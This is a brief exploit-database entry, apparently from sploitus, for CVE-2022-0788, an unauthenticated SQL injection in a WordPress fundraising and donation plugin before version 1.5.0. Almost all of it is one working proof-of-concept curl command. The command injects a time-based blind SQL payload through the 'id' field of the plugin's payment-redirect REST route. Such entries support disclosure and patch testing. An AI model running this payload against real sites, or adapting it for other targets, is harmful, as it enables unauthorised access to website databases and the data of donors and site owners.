Exploit for WP Fundraising Donation and Crowdfunding Platform < 1.5.0 - Unauthenticated SQLi CVE-2022-0788

Name: Exploit for WP Fundraising Donation and Crowdfunding Platform < 1.5.0 - Unauthenticated SQLi CVE-2022-0788
Rating: 5 (77 reviews)

2022-05-11 | CVSS 7.5

## https://sploitus.com/exploit?id=WPEX-ID:FBC71710-123F-4C61-9796-A6A4FD354828
curl 'https://example.com/index.php?rest_route=/xs-donate-form/payment-redirect/3' \
    --data '{"id": "(SELECT 1 FROM (SELECT(SLEEP(5)))me)", "formid": "1", "type": "online_payment"}' \
    -X GET \
    -H 'Content-Type: application/json'